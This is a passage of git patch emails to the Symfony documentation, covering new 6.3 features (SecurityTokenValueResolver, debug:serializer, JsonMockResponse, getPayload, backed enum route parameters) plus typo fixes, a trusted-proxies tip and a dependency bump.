 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
 .. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
-.. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+.. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md

From e77ba0eb61cf1531630ff5df25fa13ba24d7295b Mon Sep 17 00:00:00 2001
From: stiteca <stiteca@norsys.fr>
Date: Wed, 19 Apr 2023 22:54:22 +0200
Subject: [PATCH 4598/7107] Update rounding_mode.rst.inc

Add PercentType into default \NumberFormatter::ROUND_HALFUP types
---
 reference/forms/types/options/rounding_mode.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 6262bd7a719..6333c751ff7 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -7,7 +7,7 @@ and ``\NumberFormatter::ROUND_HALFUP`` for ``MoneyType`` and ``NumberType``
 * IntegerType
 **default**: ``\NumberFormatter::ROUND_DOWN``
 
-* MoneyType and NumberType
+* MoneyType,  NumberType and PercentType
 **default**: ``\NumberFormatter::ROUND_HALFUP``
 
 

From 2cc5a970a950e97af26a5c948b36d3311c04fb7a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 23 Apr 2023 10:45:53 +0200
Subject: [PATCH 4599/7107] [Security] Document `SecurityTokenValueResolver`
 for Security Token

---
 controller/value_resolver.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 89875f64c2a..37902d8a5be 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -169,6 +169,17 @@ In addition, some components, bridges and official bundles provide other value r
     user has a user class not matching the type-hinted class, an ``AccessDeniedException``
     is thrown by the resolver to prevent access to the controller.
 
+:class:`Symfony\\Component\\Security\\Http\\Controller\\SecurityTokenValueResolver`
+    Injects the object that represents the current logged in token if type-hinted
+    with ``TokenInterface`` or a class extending it.
+
+    If the argument is not nullable and there is no logged in token, an ``HttpException`` with status code 401
+    is thrown by the resolver to prevent access to the controller.
+
+    .. versionadded:: 6.3
+
+        The ``SecurityTokenValueResolver`` was introduced in Symfony 6.3.
+
 :class:`Symfony\\Bridge\\Doctrine\\ArgumentResolver\\EntityValueResolver`
     Automatically query for an entity and pass it as an argument to your controller.
 

From 164b9dcbf843df096e282572a7875976b62b4f8a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 10:39:15 +0200
Subject: [PATCH 4600/7107] Minor

---
 controller/value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 37902d8a5be..8f37ed09fe7 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -173,8 +173,8 @@ In addition, some components, bridges and official bundles provide other value r
     Injects the object that represents the current logged in token if type-hinted
     with ``TokenInterface`` or a class extending it.
 
-    If the argument is not nullable and there is no logged in token, an ``HttpException`` with status code 401
-    is thrown by the resolver to prevent access to the controller.
+    If the argument is not nullable and there is no logged in token, an ``HttpException``
+    with status code 401 is thrown by the resolver to prevent access to the controller.
 
     .. versionadded:: 6.3
 

From d7adb147e1d845f38ff8d2dbc682ead327c706c0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFck=20Piera?= <pyrech@gmail.com>
Date: Sun, 2 Apr 2023 11:51:22 +0200
Subject: [PATCH 4601/7107] Suggest settings trusted proxies via env var for
 more traditional infrastructure

---
 deployment/proxies.rst | 33 ++++++++++++++++-----------------
 1 file changed, 16 insertions(+), 17 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 5b12fb5e946..c3e339a7cdd 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -88,6 +88,22 @@ and what headers your reverse proxy uses to send information:
     to trust all "X-Forwarded-" headers, but that constant is deprecated since
     Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
 
+.. tip::
+
+    You can set a ``TRUSTED_PROXIES`` env var to configure proxies on a per-environment basis:
+
+    .. code-block:: bash
+
+        # .env
+        TRUSTED_PROXIES=127.0.0.1,10.0.0.0/8
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            trusted_proxies: '%env(TRUSTED_PROXIES)%'
+
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
@@ -136,23 +152,6 @@ That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
 other information.
 
-.. tip::
-
-    In applications using :ref:`Symfony Flex <symfony-flex>` you can set the
-    ``TRUSTED_PROXIES`` env var:
-
-    .. code-block:: bash
-
-        # .env
-        TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            trusted_proxies: '%env(TRUSTED_PROXIES)%'
-
 If you are also using a reverse proxy on top of your load balancer (e.g.
 `CloudFront`_), calling ``$request->server->get('REMOTE_ADDR')`` won't be
 enough, as it will only trust the node sitting directly above your application

From fde527f90a6f0939d1efb710c67217d0105bc108 Mon Sep 17 00:00:00 2001
From: Quentin Dreyer <quentin.dreyer@gmail.com>
Date: Wed, 26 Apr 2023 11:10:43 +0200
Subject: [PATCH 4602/7107] fix: update AsMessageHandler fromTransport case

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 1110378c3e7..a1d76eb3e57 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2032,7 +2032,7 @@ To do this, add the ``from_transport`` option to each handler. For example::
 
     use App\Message\UploadedImage;
 
-    #[AsMessageHandler(from_transport: 'image_transport')]
+    #[AsMessageHandler(fromTransport: 'image_transport')]
     class ThumbnailUploadedImageHandler
     {
         public function __invoke(UploadedImage $uploadedImage)
@@ -2046,7 +2046,7 @@ And similarly::
     // src/MessageHandler/NotifyAboutNewUploadedImageHandler.php
     // ...
 
-    #[AsMessageHandler(from_transport: 'async_priority_normal')]
+    #[AsMessageHandler(fromTransport: 'async_priority_normal')]
     class NotifyAboutNewUploadedImageHandler
     {
         // ...

From 2fe03a4329ce934c758877311d0df38574b05583 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFc=20Fr=C3=A9mont?= <lc.fremont@gmail.com>
Date: Fri, 14 Apr 2023 16:14:45 +0200
Subject: [PATCH 4603/7107] [Serializer] Add `debug:serializer` command

---
 serializer.rst | 44 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 22b0a7b567c..94be1fa0540 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -491,6 +491,50 @@ value:
             $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
         };
 
+Debugging the Serializer
+------------------------
+
+Use the ``debug:serializer`` command to dump the serializer metadata of a
+given class:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:serializer 'App\Entity\Book'
+
+        App\Entity\Book
+        ---------------
+
+        +----------+------------------------------------------------------------+
+        | Property | Options                                                    |
+        +----------+------------------------------------------------------------+
+        | name     | [                                                          |
+        |          |   "groups" => [                                            |
+        |          |       "book:read",                                         |
+        |          |       "book:write",                                        |
+        |          |   ]                                                        |
+        |          |   "maxDepth" => 1,                                         |
+        |          |   "serializedName" => "book_name"                          |
+        |          |   "ignore" => false                                        |
+        |          |   "normalizationContexts" => [],                           |
+        |          |   "denormalizationContexts" => []                          |
+        |          | ]                                                          |
+        | isbn     | [                                                          |
+        |          |   "groups" => [                                            |
+        |          |       "book:read",                                         |
+        |          |   ]                                                        |
+        |          |   "maxDepth" => null,                                      |
+        |          |   "serializedName" => null                                 |
+        |          |   "ignore" => false                                        |
+        |          |   "normalizationContexts" => [],                           |
+        |          |   "denormalizationContexts" => []                          |
+        |          | ]                                                          |
+        +----------+------------------------------------------------------------+
+
+.. versionadded:: 6.3
+
+    The debug:serializer`` command was introduced in Symfony 6.3.
+
+
 Going Further with the Serializer
 ---------------------------------
 

From 07794a2cbb269c802e57220b45f916245791243c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 19:44:18 +0200
Subject: [PATCH 4604/7107] Fix build

---
 deployment/proxies.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index b2412b052e6..18377068cd6 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -82,12 +82,6 @@ and what headers your reverse proxy uses to send information:
             ;
         };
 
-.. deprecated:: 5.2
-
-    In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
-    to trust all "X-Forwarded-" headers, but that constant is deprecated since
-    Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
-
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the

From bf0d3a17bd816a0fd55ae3fa13bca727a10d09c2 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 26 Apr 2023 21:56:19 +0200
Subject: [PATCH 4605/7107] Remove space end of line

---
 components/psr7.rst | 2 +-
 workflow.rst        | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index eb5ff8196a9..04a3b9148b5 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -29,7 +29,7 @@ Usage
 Converting from HttpFoundation Objects to PSR-7
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The bridge provides an interface of a factory called 
+The bridge provides an interface of a factory called
 `HttpMessageFactoryInterface`_ that builds objects implementing PSR-7
 interfaces from HttpFoundation objects.
 
diff --git a/workflow.rst b/workflow.rst
index 98b0d7c5798..b0dd2f2495a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -39,7 +39,7 @@ a ``Definition`` and a way to write the states to the objects (i.e. an
 instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`.)
 
 Consider the following example for a blog post. A post can have these places:
-``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as 
+``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as
 follows:
 
 .. configuration-block::

From b68944c295306cce5de546541614127f07b7310d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 23 Apr 2023 11:18:29 +0200
Subject: [PATCH 4606/7107] [HttpClient] Add `JsonMockResponse`

---
 http_client.rst | 34 +++++++++++++++++++++++++++++-----
 1 file changed, 29 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index e0742183175..1a51ee90084 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -740,7 +740,7 @@ Retry Over Several Base URIs
 
 The ``RetryableHttpClient`` can be configured to use multiple base URIs. This
 feature provides increased flexibility and reliability for making HTTP
-requests. Pass an array of base URIs as option ``base_uri`` when making a 
+requests. Pass an array of base URIs as option ``base_uri`` when making a
 request::
 
     $response = $client->request('GET', 'some-page', [
@@ -752,7 +752,7 @@ request::
         ],
     ]);
 
-When the number of retries is higher than the number of base URIs, the 
+When the number of retries is higher than the number of base URIs, the
 last base URI will be used for the remaining retries.
 
 If you want to shuffle the order of base URIs for each retry attempt, nest the
@@ -770,13 +770,13 @@ base URIs you want to shuffle in an additional array::
         ],
     ]);
 
-This feature allows for a more randomized approach to handling retries, 
+This feature allows for a more randomized approach to handling retries,
 reducing the likelihood of repeatedly hitting the same failed base URI.
 
-By using a nested array for the base URI, you can use this feature 
+By using a nested array for the base URI, you can use this feature
 to distribute the load among many nodes in a cluster of servers.
 
-You can also configure the array of base URIs using the ``withOptions()`` 
+You can also configure the array of base URIs using the ``withOptions()``
 method::
 
     $client = $client->withOptions(['base_uri' => [
@@ -2032,6 +2032,30 @@ Then configure Symfony to use your callback:
             ;
         };
 
+To return json, you would normally do::
+
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    $response = new MockResponse(json_encode([
+            'foo' => 'bar',
+        ]), [
+        'response_headers' => [
+            'content-type' => 'application/json',
+        ],
+    ]);
+
+You can use :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse` instead::
+
+    use Symfony\Component\HttpClient\Response\JsonMockResponse;
+
+    $response = new JsonMockResponse([
+        'foo' => 'bar',
+    ]);
+
+.. versionadded:: 6.3
+
+    The ``JsonMockResponse`` was introduced in Symfony 6.3.
+
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 60d10cc30f412e9296864ce6358e1d01a9286db2 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Wed, 26 Apr 2023 10:46:33 +0000
Subject: [PATCH 4607/7107] Update _ux-libraries.rst.inc

---
 frontend/_ux-libraries.rst.inc | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index a40a51109f5..87a713abe0b 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -19,6 +19,7 @@
   (`see demo <https://ux.symfony.com/twig-component>`_)
 * `ux-typed`_: Integration with `Typed`_ (`see demo <https://ux.symfony.com/typed>`_)
 * `ux-vue`_: Render `Vue`_ component from Twig (`see demo <https://ux.symfony.com/vue>`_)
+* `ux-svelte`_: Render `Svelte`_ component from Twig.
 
 .. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
@@ -33,6 +34,7 @@
 .. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
 .. _`ux-typed`: https://symfony.com/bundles/ux-typed/current/index.html
 .. _`ux-vue`: https://symfony.com/bundles/ux-vue/current/index.html
+.. _`ux-svelte`: https://symfony.com/bundles/ux-svelte/current/index.html
 .. _`Chart.js`: https://www.chartjs.org/
 .. _`Swup`: https://swup.js.org/
 .. _`React`: https://reactjs.org/

From b478e211735d72f4ccbcfbfcb6b35c9bee9fc54e Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 20 Apr 2023 11:33:34 -0400
Subject: [PATCH 4608/7107] [HttpFoundation] document `Request::getPayload()`

---
 components/http_foundation.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 0711d4764e3..6f6cb5b524e 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -216,6 +216,18 @@ If the request body is a JSON string, it can be accessed using
 
     $data = $request->toArray();
 
+If the request data could be ``$_POST`` data *or* a JSON string, you can use
+the :method:`Symfony\\Component\\HttpFoundation\\Request::getPayload` method
+which returns an instance of :class:`Symfony\\Component\\HttpFoundation\\InputBag`
+wrapping this data::
+
+    $data = $request->getPayload();
+
+.. versionadded:: 6.3
+
+    The :method:`Symfony\\Component\\HttpFoundation\\Request::getPayload`
+    method was introduced in Symfony 6.3.
+
 Identifying a Request
 ~~~~~~~~~~~~~~~~~~~~~
 

From 3637cf96074f340af38a6f9e6b6ead7f5f2b6d8c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Apr 2023 11:44:14 +0200
Subject: [PATCH 4609/7107] Update dependencies of the docs builder used in
 tets

---
 _build/composer.lock | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/_build/composer.lock b/_build/composer.lock
index d45dc483946..d863be84ad9 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.20.2",
+            "version": "v0.20.5",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08"
+                "reference": "11d9d81e3997e771ad1a57eabaa51fc22c500b35"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/6486fd734bb151a05f592b06ac1569c62d338a08",
-                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/11d9d81e3997e771ad1a57eabaa51fc22c500b35",
+                "reference": "11d9d81e3997e771ad1a57eabaa51fc22c500b35",
                 "shasum": ""
             },
             "require": {
@@ -514,9 +514,9 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.2"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.5"
             },
-            "time": "2023-04-04T06:17:34+00:00"
+            "time": "2023-04-28T09:41:45+00:00"
         },
         {
             "name": "symfony/console",

From 0df46f729b83e3d5865325a20e8fb4eac08c0ca1 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Fri, 21 Apr 2023 13:57:57 +0200
Subject: [PATCH 4610/7107] [Routing] Backed Enum as route parameter

---
 routing.rst | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/routing.rst b/routing.rst
index be3e6bf49a9..799112bcaf1 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1245,6 +1245,35 @@ A possible solution is to change the parameter requirements to be more permissiv
     as the token and the format will be empty. This can be solved by replacing
     the ``.+`` requirement by ``[^.]+`` to allow any character except dots.
 
+Backed Enum as Parameter
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+PHP 8.1 add support for Backed Enum, they can be used as route parameter and
+automatically converted to their value by Symfony.
+
+.. versionadded:: 6.3
+
+    Using a `\BackedEnum` as route parameter is available since Symfony 6.3.
+
+.. code-block:: php-attributes
+
+    // src/Controller/DefaultController.php
+    namespace App\Controller;
+
+    use App\Enum\SuitsEnum;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class DefaultController extends AbstractController
+    {
+        #[Route('/cards/{suit}', name: 'cards_suit')]
+        public function list(SuitsEnum $suit = SuitsEnum::Diamonds): Response
+        {
+            // ...
+        }
+    }
+
 .. _routing-alias:
 
 Route Aliasing

From bfe27fc4af0da54a6e69eb75adf2eee10202b558 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Apr 2023 16:47:51 +0200
Subject: [PATCH 4611/7107] Tweaks

---
 routing.rst | 59 +++++++++++++++++++++++++++--------------------------
 1 file changed, 30 insertions(+), 29 deletions(-)

diff --git a/routing.rst b/routing.rst
index 799112bcaf1..20ab592854d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -985,6 +985,35 @@ Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-val
 to learn about the ``#[MapEntity]`` attribute that can be used to customize the
 database queries used to fetch the object from the route parameter.
 
+Backed Enum Parameters
+~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The support of ``\BackedEnum`` as route parameters was introduced Symfony 6.3.
+
+You can use PHP `backed enumerations`_ as route parameters because Symfony will
+convert them automatically to their scalar values.
+
+.. code-block:: php-attributes
+
+    // src/Controller/DefaultController.php
+    namespace App\Controller;
+
+    use App\Enum\OrderStatusEnum;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class OrderController extends AbstractController
+    {
+        #[Route('/orders/list/{status}', name: 'list_orders_by_status')]
+        public function list(OrderStatusEnum $status = OrderStatusEnum::Paid): Response
+        {
+            // ...
+        }
+    }
+
 Special Parameters
 ~~~~~~~~~~~~~~~~~~
 
@@ -1245,35 +1274,6 @@ A possible solution is to change the parameter requirements to be more permissiv
     as the token and the format will be empty. This can be solved by replacing
     the ``.+`` requirement by ``[^.]+`` to allow any character except dots.
 
-Backed Enum as Parameter
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-PHP 8.1 add support for Backed Enum, they can be used as route parameter and
-automatically converted to their value by Symfony.
-
-.. versionadded:: 6.3
-
-    Using a `\BackedEnum` as route parameter is available since Symfony 6.3.
-
-.. code-block:: php-attributes
-
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
-
-    use App\Enum\SuitsEnum;
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class DefaultController extends AbstractController
-    {
-        #[Route('/cards/{suit}', name: 'cards_suit')]
-        public function list(SuitsEnum $suit = SuitsEnum::Diamonds): Response
-        {
-            // ...
-        }
-    }
-
 .. _routing-alias:
 
 Route Aliasing
@@ -2700,3 +2700,4 @@ Learn more about Routing
 .. _`PHP regular expressions`: https://www.php.net/manual/en/book.pcre.php
 .. _`PCRE Unicode properties`: https://www.php.net/manual/en/regexp.reference.unicode.php
 .. _`FOSJsRoutingBundle`: https://github.com/FriendsOfSymfony/FOSJsRoutingBundle
+.. _`backed enumerations`: https://www.php.net/manual/en/language.enumerations.backed.php

From cde41e8619b22ebe3f73f2cee3679a34108a6937 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 1 May 2023 18:12:41 +0200
Subject: [PATCH 4612/7107] Minor typo

Page: https://symfony.com/doc/5.4/components/options_resolver.html
---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 78266c2a309..3e7c657b79f 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -51,7 +51,7 @@ check which options are set::
     }
 
 Also, the default values of the options are buried in the business logic of your
-code. Use the :phpfunction:`array_replace` to fix that::
+code. Use :phpfunction:`array_replace` to fix that::
 
     class Mailer
     {

From b212cbb87aa67636528444cce1acfe8337b9884d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 May 2023 09:33:38 +0200
Subject: [PATCH 4613/7107] Fix the file name of a controller in a code example

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 20ab592854d..3d47668a9b6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -997,7 +997,7 @@ convert them automatically to their scalar values.
 
 .. code-block:: php-attributes
 
-    // src/Controller/DefaultController.php
+    // src/Controller/OrderController.php
     namespace App\Controller;
 
     use App\Enum\OrderStatusEnum;

From 39bca2d7a404c067daf9c4fdeb3e4bc98975ce61 Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Sat, 29 Apr 2023 11:13:51 +0200
Subject: [PATCH 4614/7107] Fix missing link

---
 frontend/_ux-libraries.rst.inc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 87a713abe0b..a9d8f15acde 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -38,6 +38,7 @@
 .. _`Chart.js`: https://www.chartjs.org/
 .. _`Swup`: https://swup.js.org/
 .. _`React`: https://reactjs.org/
+.. _`Svelte`: https://svelte.dev/
 .. _`Turbo Drive`: https://turbo.hotwired.dev/
 .. _`Typed`: https://github.com/mattboldt/typed.js/
 .. _`Vue`: https://vuejs.org/

From 24f8c0fabcd1e868b449d0515633cb46d46074c4 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Tue, 2 May 2023 13:48:00 +0200
Subject: [PATCH 4615/7107] Remove mentions of httplug's factories

---
 http_client.rst | 43 +++----------------------------------------
 1 file changed, 3 insertions(+), 40 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 1a51ee90084..693fc3dc59e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1619,47 +1619,10 @@ The `HTTPlug`_ v1 specification was published before PSR-18 and is superseded by
 it. As such, you should not use it in newly written code. The component is still
 interoperable with libraries that require it thanks to the
 :class:`Symfony\\Component\\HttpClient\\HttplugClient` class. Similarly to
-:class:`Symfony\\Component\\HttpClient\\Psr18Client` implementing relevant parts of PSR-17,
-``HttplugClient`` also implements the factory methods defined in the related
-``php-http/message-factory`` package.
+:class:`Symfony\\Component\\HttpClient\\Psr18Client`, ``HttplugClient`` also
+implements relevant parts of PSR-17.
 
-.. code-block:: terminal
-
-    # Let's suppose php-http/httplug is already required by the lib you want to use
-
-    # installs an efficient implementation of response and stream factories
-    # with autowiring aliases provided by Symfony Flex
-    $ composer require nyholm/psr7
-
-    # alternatively, install the php-http/discovery package to auto-discover
-    # any already installed implementations from common vendors:
-    # composer require php-http/discovery
-
-Let's say you want to instantiate a class with the following constructor,
-that requires HTTPlug dependencies::
-
-    use Http\Client\HttpClient;
-    use Http\Message\RequestFactory;
-    use Http\Message\StreamFactory;
-
-    class SomeSdk
-    {
-        public function __construct(
-            HttpClient $httpClient,
-            RequestFactory $requestFactory,
-            StreamFactory $streamFactory
-        )
-        // [...]
-    }
-
-Because ``HttplugClient`` implements the three interfaces, you can use it this way::
-
-    use Symfony\Component\HttpClient\HttplugClient;
-
-    $httpClient = new HttplugClient();
-    $apiClient = new SomeSdk($httpClient, $httpClient, $httpClient);
-
-If you'd like to work with promises, ``HttplugClient`` also implements the
+If you'd like to work with promises, ``HttplugClient`` implements the
 ``HttpAsyncClient`` interface. To use it, you need to install the
 ``guzzlehttp/promises`` package:
 

From e95b95a36acff0d7e9e417882b81e7ccd4b33130 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 2 May 2023 23:19:36 +0200
Subject: [PATCH 4616/7107] Improve security logout options

---
 reference/configuration/security.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 27869dd074d..b811f33e2ac 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -448,10 +448,13 @@ redirected to the ``default_target_path`` to avoid a redirection loop.
     For historical reasons, and to match the misspelling of the HTTP standard,
     the option is called ``use_referer`` instead of ``use_referrer``.
 
-**Options Related to Logout Configuration**
+logout
+~~~~~~
+
+You can configure logout options.
 
 invalidate_session
-~~~~~~~~~~~~~~~~~~
+..................
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -466,14 +469,14 @@ the current firewall and not the other ones.
 .. _reference-security-logout-success-handler:
 
 ``path``
-~~~~~~~~
+........
 
 **type**: ``string`` **default**: ``/logout``
 
 The path which triggers logout. You need to set up a route with a matching path.
 
 target
-~~~~~~
+......
 
 **type**: ``string`` **default**: ``/``
 
@@ -482,7 +485,7 @@ starts with ``http://`` or ``https://``) or the route name (otherwise) to
 redirect after logout.
 
 success_handler
-~~~~~~~~~~~~~~~
+...............
 
 .. deprecated:: 5.1
 
@@ -501,14 +504,14 @@ If it is set, the logout ``target`` option will be ignored.
 .. _reference-security-logout-csrf:
 
 csrf_parameter
-~~~~~~~~~~~~~~
+..............
 
 **type**: ``string`` **default**: ``'_csrf_token'``
 
 The name of the parameter that stores the CSRF token value.
 
 csrf_token_generator
-~~~~~~~~~~~~~~~~~~~~
+....................
 
 **type**: ``string`` **default**: ``null``
 
@@ -516,7 +519,7 @@ The ``id`` of the service used to generate the CSRF tokens. Symfony provides a
 default service whose ID is ``security.csrf.token_manager``.
 
 csrf_token_id
-~~~~~~~~~~~~~
+.............
 
 **type**: ``string`` **default**: ``'logout'``
 

From 06eb904b9db53efb1ca848619d0e18b8b2401b3b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 2 May 2023 22:21:43 +0200
Subject: [PATCH 4617/7107] Use Doctor RST 1.45.0 and new Rule
 `RemoveTrailingWhitespace`

---
 .doctor-rst.yaml                   | 1 +
 .github/workflows/ci.yaml          | 2 +-
 reference/constraints/Traverse.rst | 2 +-
 3 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index bf037f27716..0fc471cfee8 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -44,6 +44,7 @@ rules:
     only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
     php_prefix_before_bin_console: ~
+    remove_trailing_whitespace: ~
